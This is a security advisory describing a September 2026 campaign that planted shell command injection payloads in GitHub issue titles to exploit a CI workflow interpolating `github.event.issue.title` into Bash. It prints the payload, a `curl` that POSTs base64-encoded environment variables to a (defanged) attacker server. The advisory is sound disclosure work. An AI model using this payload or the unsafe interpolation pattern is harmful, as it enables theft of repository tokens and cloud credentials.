GCVE-110-OSM-2026-14322

This legitimate repository was targeted in a September 2026 campaign that planted shell command injection payloads in GitHub issues, pull requests or comments. When a CI workflow handles that text unsafely, the payload runs inside the job and sends its environment variables, which can include repository tokens, cloud credentials and deployment secrets, to an attacker-controlled server. A workflow in this repository was confirmed to execute the injected command. The repository's own source code was not shown to be modified. Malicious payload found in: GitHub issue #251, title field; workflow `.github/workflows/notify-discord-issues.yml` (`ISSUE_TITLE="${{ github.event.issue.title }}"`) - Trigger: a GitHub Actions workflow that inserts attacker-controlled GitHub text into shell source. Bash performs command substitution on `$(...)` even inside double quotes, so the text runs as code. - Behavior: `env` collects the job's environment variables, `base64 | tr -d '\n'` encodes them, and `curl -s ... -d` POSTs them over plain HTTP (port 8443) to the collection server. The unique ID in the `/c/` path identifies the target. - Impact depends on the job's permissions and secrets. The source did not establish that credentials were obtained or that code was modified. - Payload: `$(curl -s hxxp://54[.]205[.]16[.]142:8443/c/91dad78d29e61a903a7e6d0af93270ca -d $(env|base64|tr -d '\n'))` - Execution evidence: the Actions log shows the payload inside the `ISSUE_TITLE` assignment and a Bash `command substitution: ignored null byte in input` warning on that same script line. The workflow's Discord notification then failed with invalid JSON.